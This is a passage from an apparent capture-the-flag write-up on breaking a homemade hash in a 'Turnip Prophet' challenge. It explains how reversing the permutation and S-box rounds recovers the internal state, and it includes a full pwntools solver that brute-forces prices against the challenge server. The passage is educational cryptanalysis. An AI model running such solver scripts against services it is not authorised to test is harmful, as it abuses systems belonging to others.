bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
</code></pre></div></div><p>For each time in the day, the state was the same. This is because the data is processed in blocks of 16 bytes, and the first 16 bytes are the secret which is the same for each day of the week. (Also note that in the output, every other line is just the inital state). This means that if we were able to determine the state after the first block was processed, we could brute force the different possible prices and find the one that matched the hash we get from the server, by manually performing the processing of the second block. My initial thought was that maybe we could use some kind of “simultaneously” equation to determine that state and decided to look at the <code class="language-plaintext highlighter-rouge">hash</code> function, to see whether that was possible.</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">pad</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">s</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">pad_b</span> <span class="o">=</span> <span class="mi">16</span> <span class="o">-</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span>
        <span class="k">return</span> <span class="n">s</span> <span class="o">+</span> <span class="nf">bytes</span><span class="p">([</span><span class="n">pad_b</span><span class="p">])</span> <span class="o">*</span> <span class="n">pad_b</span>

<span class="k">def</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
    <span class="k">return</span> <span class="nf">bytearray</span><span class="p">([</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">k</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">p</span><span class="p">))])</span>

<span class="k">def</span> <span class="nf">group</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">s</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">16</span><span class="p">:</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">16</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">//</span> <span class="mi">16</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">state</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">([</span><span class="mi">165</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">228</span><span class="p">,</span> <span class="mi">151</span><span class="p">,</span> <span class="mi">146</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">238</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">241</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">38</span><span class="p">])</span>
    <span class="n">data</span> <span class="o">=</span> <span class="nf">group</span><span class="p">(</span><span class="nf">pad</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
    <span class="k">for</span> <span class="n">roundkey</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nb">round</span><span class="p">):</span>
            <span class="n">state</span> <span class="o">=</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">roundkey</span><span class="p">)</span>
            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state</span><span class="p">)):</span>
                <span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">sbox</span><span class="p">[</span><span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span>
            <span class="n">temp</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state</span><span class="p">)):</span>
                <span class="n">temp</span><span class="p">[</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span> <span class="o">=</span> <span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
            <span class="n">state</span> <span class="o">=</span> <span class="n">temp</span>
    <span class="k">return</span> <span class="n">state</span><span class="p">.</span><span class="nf">hex</span><span class="p">()</span>
</code></pre></div></div><p>Looking at the hash function in reverse, I noticed that the last 2 operations of each round were reversible, they just 1. changed the order of the bytes 2. changed the bytes using the Sbox which is also reversible. The only part that isn’t reversible is the <code class="language-plaintext highlighter-rouge">repeated_xor</code> operation which just XORs together its 2 parameters, the roundkey (i.e. a 16 bytes block of input data), and the current state. This meant that in order to reverse it, we needed the input data which was already what we were trying to get. This is when I realised we were given the price on Monday at the “am” time, which meant that we could actually reverse the hash function until we reached the common state shared by all the hashes (i.e. the state when the hash function has only processed the secret).</p><p>So I started to write a script to do this.</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">sbox</span> <span class="o">=</span> <span class="p">[</span><span class="mi">92</span><span class="p">,</span> <span class="mi">74</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mi">190</span><span class="p">,</span> <span class="mi">162</span><span class="p">,</span> <span class="mi">125</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">159</span><span class="p">,</span> <span class="mi">217</span><span class="p">,</span> <span class="mi">153</span><span class="p">,</span> <span class="mi">167</span><span class="p">,</span> <span class="mi">179</span><span class="p">,</span> <span class="mi">221</span><span class="p">,</span> <span class="mi">151</span><span class="p">,</span> <span class="mi">140</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">227</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">75</span><span class="p">,</span> <span class="mi">107</span><span class="p">,</span> <span class="mi">85</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">216</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">90</span><span class="p">,</span> <span class="mi">136</span><span class="p">,</span> <span class="mi">133</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">237</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">175</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">172</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">177</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">203</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">67</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">152</span><span class="p">,</span> <span class="mi">207</span><span class="p">,</span> <span class="mi">220</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">232</span><span class="p">,</span> <span class="mi">229</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">48</span><span class="p">,</span> <span class="mi">246</span><span class="p">,</span> <span class="mi">238</span><span class="p">,</span> <span class="mi">210</span><span class="p">,</span> <span class="mi">143</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">87</span><span class="p">,</span> <span class="mi">165</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">135</span><span class="p">,</span> <span class="mi">240</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">149</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">193</span><span class="p">,</span> <span class="mi">130</span><span class="p">,</span> <span class="mi">254</span><span class="p">,</span> <span class="mi">234</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">76</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">206</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">251</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">126</span><span class="p">,</span> <span class="mi">219</span><span class="p">,</span> <span class="mi">228</span><span class="p">,</span> <span class="mi">141</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">161</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">252</span><span class="p">,</span> <span class="mi">241</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">21</span><span class="p">,</span> <span class="mi">226</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span> <span class="mi">194</span><span class="p">,</span> <span class="mi">197</span><span class="p">,</span> <span class="mi">145</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">192</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">245</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">91</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">189</span><span class="p">,</span> <span class="mi">171</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">243</span><span class="p">,</span> <span class="mi">225</span><span class="p">,</span> <span class="mi">191</span><span class="p">,</span> <span class="mi">78</span><span class="p">,</span> <span class="mi">139</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">242</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">168</span><span class="p">,</span> <span class="mi">38</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">184</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">244</span><span class="p">,</span> <span class="mi">223</span><span class="p">,</span> <span class="mi">124</span><span class="p">,</span> <span class="mi">218</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">214</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">213</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">204</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">201</span><span class="p">,</span> <span class="mi">180</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">147</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">202</span><span class="p">,</span> <span class="mi">199</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">196</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">188</span><span class="p">,</span> <span class="mi">169</span><span class="p">,</span> <span class="mi">186</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">166</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">170</span><span class="p">,</span> <span class="mi">195</span><span class="p">,</span> <span class="mi">25</span><span class="p">,</span> <span class="mi">71</span><span class="p">,</span> <span class="mi">215</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">142</span><span class="p">,</span> <span class="mi">93</span><span class="p">,</span> <span class="mi">178</span><span class="p">,</span> <span class="mi">174</span><span class="p">,</span> <span class="mi">182</span><span class="p">,</span> <span class="mi">131</span><span class="p">,</span> <span class="mi">248</span><span class="p">,</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">163</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">236</span><span class="p">,</span> <span class="mi">205</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">119</span><span class="p">,</span> <span class="mi">82</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">35</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">88</span><span class="p">,</span> <span class="mi">154</span><span class="p">,</span> <span class="mi">222</span><span class="p">,</span> <span class="mi">239</span><span class="p">,</span> <span class="mi">209</span><span class="p">,</span> <span class="mi">208</span><span class="p">,</span> <span class="mi">41</span><span class="p">,</span> <span class="mi">212</span><span class="p">,</span> <span class="mi">84</span><span class="p">,</span> <span class="mi">176</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">134</span><span class="p">,</span> <span class="mi">230</span><span class="p">,</span> <span class="mi">51</span><span class="p">,</span> <span class="mi">211</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">155</span><span class="p">,</span> <span class="mi">185</span><span class="p">,</span> <span class="mi">253</span><span class="p">,</span> <span class="mi">247</span><span class="p">,</span> <span class="mi">158</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">73</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">187</span><span class="p">,</span> <span class="mi">250</span><span class="p">,</span> <span class="mi">160</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">157</span><span class="p">,</span> <span class="mi">62</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">181</span><span class="p">,</span> <span class="mi">164</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">156</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">132</span><span class="p">,</span> <span class="mi">200</span><span class="p">,</span> <span class="mi">138</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">183</span><span class="p">,</span> <span class="mi">59</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">137</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">173</span><span class="p">,</span> <span class="mi">146</span><span class="p">,</span> <span class="mi">150</span><span class="p">,</span> <span class="mi">129</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">86</span><span class="p">,</span> <span class="mi">249</span><span class="p">]</span>
<span class="n">p</span> <span class="o">=</span> <span class="p">[</span><span class="mi">8</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">12</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
    <span class="k">return</span> <span class="nf">bytearray</span><span class="p">([</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">k</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">p</span><span class="p">))])</span>

<span class="k">def</span> <span class="nf">pad</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">s</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">pad_b</span> <span class="o">=</span> <span class="mi">16</span> <span class="o">-</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span>
        <span class="k">return</span> <span class="n">s</span> <span class="o">+</span> <span class="nf">bytes</span><span class="p">([</span><span class="n">pad_b</span><span class="p">])</span> <span class="o">*</span> <span class="n">pad_b</span>

<span class="nb">round</span> <span class="o">=</span> <span class="mi">8</span>
<span class="k">def</span> <span class="nf">unrounds</span><span class="p">(</span><span class="n">state_hash</span><span class="p">,</span> <span class="n">roundkey</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nb">round</span><span class="p">):</span>
        <span class="n">temp</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
        <span class="k">assert</span> <span class="nf">len</span><span class="p">(</span><span class="n">state_hash</span><span class="p">)</span> <span class="o">==</span> <span class="mi">16</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state_hash</span><span class="p">)):</span>
            <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">state_hash</span><span class="p">[</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span>
        <span class="n">state_hash</span> <span class="o">=</span> <span class="n">temp</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state_hash</span><span class="p">)):</span>
            <span class="n">state_hash</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">sbox</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="n">state_hash</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
        <span class="n">state_hash</span> <span class="o">=</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">state_hash</span><span class="p">,</span> <span class="n">roundkey</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">state_hash</span>

<span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">roundkey</span><span class="p">):</span>
    <span class="n">roundkey</span> <span class="o">=</span> <span class="nf">pad</span><span class="p">(</span><span class="n">roundkey</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nb">round</span><span class="p">):</span>
        <span class="n">state</span> <span class="o">=</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">roundkey</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state</span><span class="p">)):</span>
            <span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">sbox</span><span class="p">[</span><span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span>
        <span class="n">temp</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state</span><span class="p">)):</span>
            <span class="n">temp</span><span class="p">[</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span> <span class="o">=</span> <span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
        <span class="n">state</span> <span class="o">=</span> <span class="n">temp</span>
    <span class="k">return</span> <span class="n">state</span><span class="p">.</span><span class="nf">hex</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">find_highest</span><span class="p">(</span><span class="n">hashes</span><span class="p">,</span> <span class="n">state</span><span class="p">):</span>
    <span class="n">d</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">mon</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">tue</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">wed</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">thu</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">fri</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">sat</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">}}</span>
    <span class="n">highest</span> <span class="o">=</span> <span class="p">(</span><span class="sh">'</span><span class="s">day-time</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">day</span> <span class="ow">in</span> <span class="n">d</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">time</span> <span class="ow">in</span> <span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">].</span><span class="nf">keys</span><span class="p">():</span>
            <span class="k">for</span> <span class="n">price</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="n">highest</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">601</span><span class="p">):</span>
                <span class="n">hash_temp</span> <span class="o">=</span> <span class="nf">hash</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="n">day</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">price</span><span class="p">)]).</span><span class="nf">encode</span><span class="p">())</span>
                <span class="k">if</span> <span class="n">hashes</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">hash_temp</span><span class="p">:</span>
                    <span class="n">highest</span> <span class="o">=</span> <span class="p">(</span><span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="n">day</span><span class="p">,</span> <span class="n">time</span><span class="p">]),</span> <span class="n">price</span><span class="p">)</span>
            <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="k">return</span> <span class="n">highest</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="n">r</span> <span class="o">=</span> <span class="nf">remote</span><span class="p">(</span><span class="sh">'</span><span class="s">chals20.cybercastors.com</span><span class="sh">'</span><span class="p">,</span> <span class="mi">14423</span><span class="p">)</span>
    <span class="c1">#r = remote('127.0.0.1', 8080)
</span>
    <span class="n">r</span><span class="p">.</span><span class="nf">recvuntil</span><span class="p">(</span><span class="sh">"</span><span class="s">Ultimate Turnip Prophet!</span><span class="se">\n\n</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
        <span class="n">lines</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="nf">recvuntil</span><span class="p">(</span><span class="sh">'</span><span class="s">price for the week: </span><span class="sh">'</span><span class="p">).</span><span class="nf">split</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">hashes</span> <span class="o">=</span> <span class="nf">list</span><span class="p">(</span><span class="nf">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">.</span><span class="nf">decode</span><span class="p">(),</span> <span class="n">lines</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">split</span><span class="p">()[</span><span class="mi">5</span><span class="p">:]))</span>
        <span class="n">mon_am_price</span> <span class="o">=</span> <span class="n">lines</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="nf">split</span><span class="p">()[</span><span class="mi">3</span><span class="p">].</span><span class="nf">decode</span><span class="p">()</span>
        <span class="n">roundkey</span> <span class="o">=</span> <span class="nf">pad</span><span class="p">(</span><span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="sh">"</span><span class="s">mon</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">,</span> <span class="n">mon_am_price</span><span class="p">]).</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">state</span> <span class="o">=</span> <span class="nf">unrounds</span><span class="p">(</span><span class="nb">bytearray</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">hashes</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="n">roundkey</span><span class="p">)</span>
        <span class="n">correct</span> <span class="o">=</span> <span class="nf">find_highest</span><span class="p">(</span><span class="n">hashes</span><span class="p">,</span> <span class="n">state</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">correct</span><span class="p">)</span>
        <span class="n">r</span><span class="p">.</span><span class="nf">sendline</span><span class="p">(</span><span class="n">correct</span><span class="p">)</span>
